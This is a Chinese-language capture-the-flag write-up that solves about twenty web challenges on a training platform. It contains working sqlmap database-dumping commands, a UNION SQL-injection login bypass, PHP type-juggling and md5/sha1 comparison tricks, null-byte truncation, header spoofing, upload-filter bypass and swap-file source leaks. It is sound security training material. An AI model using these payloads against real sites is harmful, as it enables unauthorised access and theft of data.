-
看起來有點難
提交admin
http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login
用sqlmap檢測是否有注入
┌─[root@sch01ar]─[/sch01ar] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login"
存在注入
對數據進行讀取
┌─[root@sch01ar]─[/sch01ar] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs
┌─[root@sch01ar]─[/sch01ar] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --tables -D "test"
┌─[root@sch01ar]─[/sch01ar] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dump -T "admin" -D "test"
讀出賬號密碼
登陸,得到flag
-
貓抓老鼠
源代碼沒什么情況,也沒有注入,抓包查看
go一下
返回包中有一個Content-Row: MTUxMjU4MzgwNA==
把MTUxMjU4MzgwNA==替換掉pass_key的1,go
得到flag
-
頭有點大
根據提示,要用.net framework 9.9,地址來自英國,瀏覽器是IE
抓包改頭,發包
得到flag
也通過可以設置Modify Headers
訪問網頁得到flag
-
貌似有點難
我訪問的ip不在列表里,查看一下源碼
<?php function GetIP(){ if(!empty($_SERVER["HTTP_CLIENT_IP"])) $cip = $_SERVER["HTTP_CLIENT_IP"]; else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $cip = $_SERVER["HTTP_X_FORWARDED_FOR"]; else if(!empty($_SERVER["REMOTE_ADDR"])) $cip = $_SERVER["REMOTE_ADDR"]; else $cip = "0.0.0.0"; return $cip; } $GetIPs = GetIP(); if ($GetIPs=="1.1.1.1"){ echo "Great! Key is *********"; } else{ echo "錯誤!你的IP不在訪問列表之內!"; } ?>
當ip為1.1.1.1時能得到flag
使用火狐插件X-Forwarded-For
把ip地址改為1.1.1.1
刷新網頁,得到flag
-
這個看起來有點簡單!
通過簡單的判斷,存在注入漏洞
直接上sqlmap
┌─[root@sch01ar]─[~] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs
┌─[root@sch01ar]─[~] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --tables -D "my_db"
┌─[root@sch01ar]─[~] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --columns -T "thiskey" -D "my_db"
┌─[root@sch01ar]─[~] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dump -C "k0y" -T "thiskey" -D "my_db"
得到flag
-
PHP大法
訪問地址,會提示訪問index.php.txt
訪問index.php.txt,得到源碼
<?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } ?> <br><br> Can you authenticate to this website?
第一個if語句,對傳入的參數id和字符串"hackerDJ"進行判斷,如果傳入的參數id的值為"hackerDJ",則輸出"not allowed"
參數id的值等於url解碼后的參數id的值
第二個if語句,判斷傳入的參數id是否為hackerDJ,如果是的話就輸出flag
因為對hackerDJ的一次url編碼會被瀏覽器轉為hackerDJ,所以要進行兩次的url編碼
得到flag
-
what a fuck!這是什么鬼東西?
這是JsFuck加密的,直接解碼就好了
直接用工具
-
程序邏輯問題
右鍵查看源代碼,發現一個txt
點擊,得到index.php的源代碼
<html> <head> welcome to simplexue </head> <body> <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********, "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); //對傳入的pass變量進行md5加密,並賦給變量pass $sql = "select pw from php where user='$user'"; $query = mysql_query($sql); //將查詢語句的結果賦值給變量query if (!$query) { //判斷變量query是否為空 printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //將變量query的值以MYSQL_ASSOC格式賦給變量row //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { //將變量row中的pw字段和pass的值進行忽略大小寫的比較 echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.txt"> </html>
代碼中沒有判斷變量user,只要變量row的pw字段和變量pass的值一樣就能得到flag
構造payload:user=1' and 1=2 union select concat('21232f297a57a5a743894a0e4a801fc3')%23 &pass=admin
POST,得到flag
-
NSCTF web200
解密這段密文,寫個php腳本
<?php function decode($str) { $_ = ''; $a = str_rot13($str); $b = strrev($a); $c = base64_decode($b); $d = strrev($c); for($i=0;$i<strlen($d);$i++) { $_c = substr($d,$i,1); $__ = ord($_c)-1; $_c = chr($__); $_ = $_.$_c; } return $_; } echo decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"); ?>
運行腳本得到flag
-
上傳繞過
選擇一個jpg文件上傳
上傳的格式要是php的才行,但是不能直接上傳php
用burp抓包改包
在上傳路徑后加一個以php格式結尾的,再截斷
發送,得到flag
-
FALSE
題目給的提示
訪問鏈接
點擊查看源代碼
<?php if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '<p>Your password can not be your name!</p>'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '<p>Invalid password.</p>'; } else{ echo '<p>Login first!</p>'; ?>
傳入的name和password不能一樣,但是name和password的sha1加密的值得相等
想到的是傳數組
http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2
得到flag
-
Guess Next Session
猜下一個數,前面這幾個數都是隨機的
查看源代碼
<?php session_start(); if (isset ($_GET['password'])) { if ($_GET['password'] == $_SESSION['password']) die ('Flag: '.$flag); else print '<p>Wrong guess.</p>'; } mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?>
當傳入的password和$_SESSION['password']相等時才能得到flag
burp抓包
需要改兩處地方
這兩處置空,發包,得到flag
-
Once More
題目給了提示
題目提示,該題是php代碼審計題,而且還跟ereg()函數有關,ereg()函數可以%00截斷
訪問鏈接
查看源代碼
<?php if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) //password的長度要小於8,但是password的大小要大於9999999,可以使用科學計數法 { if (strpos ($_GET['password'], '*-*') !== FALSE) //password里要有*-*才能得到flag { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; } } ?>
password是一個數但是里面要有*_*,則要用到%00截斷
最終構造:
http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*
得到flag
-
忘記密碼了
隨便輸入一個郵箱,點擊提交
彈出了一個對話框
http://ctf5.shiyanbar.com/10/upload/step2.php?email=youmail@mail.com&check=???????
訪問該鏈接,會出現該界面,但是一晃就跳轉到原本的找回密碼界面
那就抓包看看
代碼是用vim編輯器寫的,vim編輯器
還有一個submit.php,提交發送的地方
vim編輯器有一個特點,會生成一個臨時的備份文件
submit.php生成的就是.submit.php.swp,因為其為隱藏文件,所以前面會有一個點
訪問地址:http://ctf5.shiyanbar.com/10/upload/.submit.php.swp
看到了一段代碼
........這一行是省略的代碼........ /* 如果登錄郵箱地址不是管理員則 die() 數據庫結構 -- -- 表的結構 `user` -- CREATE TABLE IF NOT EXISTS `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, `token` int(255) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; -- -- 轉存表中的數據 `user` -- INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES (1, '****不可見***', '***不可見***', 0); */ ........這一行是省略的代碼........ if(!empty($token)&&!empty($emailAddress)){ if(strlen($token)!=10) die('fail'); //變量$token的長度要為10 if($token!='0') die('fail'); //變量$token的值要為0 $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'"; $r = mysql_query($sql) or die('db error'); $r = mysql_fetch_assoc($r); $r = $r['num']; if($r>0){ echo $flag; }else{ echo "失敗了呀"; } }
$token的長度要為10,大小要為0,可以設置為0000000000
郵箱還要是管理員的郵箱
在burp返回的數據包中可以看到管理員郵箱為:admin@simplexue.com
接下來構造訪問鏈接:http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000
訪問,得到flag
-
天網管理系統
先右鍵查看網頁源代碼
傳入的username的md5值要為0
PHP在處理哈希值時,會把每一個以0E開頭的哈希值都解釋為0
如果兩個不同的字符串的md5值都是以0E開頭的,那么PHP就會認為他們是相同,都是0
常見的有QNKCDZO
在用戶名框處提交QNKCDZO
返回了一個地址
訪問鏈接:http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer
題目提示,成也布爾,敗也布爾
$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???'){ print_r($flag); }
unserialize()函數將數據反序列化,serialize()函數將數據序列化
<?php $a = array("user" => true,"pass" => true); $b = serialize($a); echo $b; echo "<br>"; $c = unserialize($b); print_r($c); ?>
運行結果
把a:2:{s:4:"user";b:1;s:4:"pass";b:1;}作為密碼,用戶名為admin,登陸,得到flag
-
Forms
提交一個值
報錯
右鍵查看源碼
表單的默認值為0
不填表單直接提交,burp抓包
把0改成其它數字,發包
出現了php源代碼
$a = $_POST["PIN"]; if ($a == -19827747736161128312837161661727773716166727272616149001823847) { echo "Congratulations! The flag is $flag"; } else { echo "User with provided PIN not found."; }
當提交的值為-19827747736161128312837161661727773716166727272616149001823847的時候就會返回flag
提交-19827747736161128312837161661727773716166727272616149001823847,得到flag
-
拐彎抹角
一上來就來了一大段的php代碼
完整的php代碼
<?php // code by SEC@USTC echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>'; $URL = $_SERVER['REQUEST_URI']; //echo 'URL: '.$URL.'<br/>'; $flag = "CTF{???}"; $code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php')); $stop = 0; //這道題目本身也有教學的目的 //第一,我們可以構造 /indirection/a/../ /indirection/./ 等等這一類的 //所以,第一個要求就是不得出現 ./ if($flag && strpos($URL, './') !== FALSE){ $flag = ""; $stop = 1; //Pass } //第二,我們可以構造 \ 來代替被過濾的 / //所以,第二個要求就是不得出現 ../ if($flag && strpos($URL, '\\') !== FALSE){ $flag = ""; $stop = 2; //Pass } //第三,有的系統大小寫通用,例如 indirectioN/ //你也可以用?和#等等的字符繞過,這需要統一解決 //所以,第三個要求對可以用的字符做了限制,a-z / 和 . $matches = array(); preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches); if($flag && empty($matches) || $matches[1] != $URL){ $flag = ""; $stop = 3; //Pass } //第四,多個 / 也是可以的 //所以,第四個要求是不得出現 // if($flag && strpos($URL, '//') !== FALSE){ $flag = ""; $stop = 4; //Pass } //第五,顯然加上index.php或者減去index.php都是可以的 //所以我們下一個要求就是必須包含/index.php,並且以此結尾 if($flag && substr($URL, -10) !== '/index.php'){ $flag = ""; $stop = 5; //Not Pass } //第六,我們知道在index.php后面加.也是可以的 //所以我們禁止p后面出現.這個符號 if($flag && strpos($URL, 'p.') !== FALSE){ $flag = ""; $stop = 6; //Not Pass } //第七,現在是最關鍵的時刻 //你的$URL必須與/indirection/index.php有所不同 if($flag && $URL == '/indirection/index.php'){ $flag = ""; $stop = 7; //Not Pass } if(!$stop) $stop = 8; echo 'Flag: '.$flag; echo '<hr />'; for($i = 1; $i < $stop; $i++) $code = str_replace('//Pass ';
這里有7個條件判斷url是否符合條件
1.不能有./ 2.不能有../ 3.不能有大寫字母和?和#符號 4不能有// 5.必須以index.php結尾 6.index.php后面不能出現"."這個符號 7.url要和/indirection/index.php不一樣
首先訪問,http://ctf5.shiyanbar.com/indirection/index.php
后面多了個/
接着訪問,http://ctf5.shiyanbar.com/indirection/index.php/index.php,得到flag
-
后台登錄
右鍵查看源代碼
有php源碼
<!-- $password=$_POST['password']; $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0){ echo 'flag is :'.$flag; } else{ echo '密碼錯誤!'; } -->
直接提交.php前的字符串ffifdyop,得到flag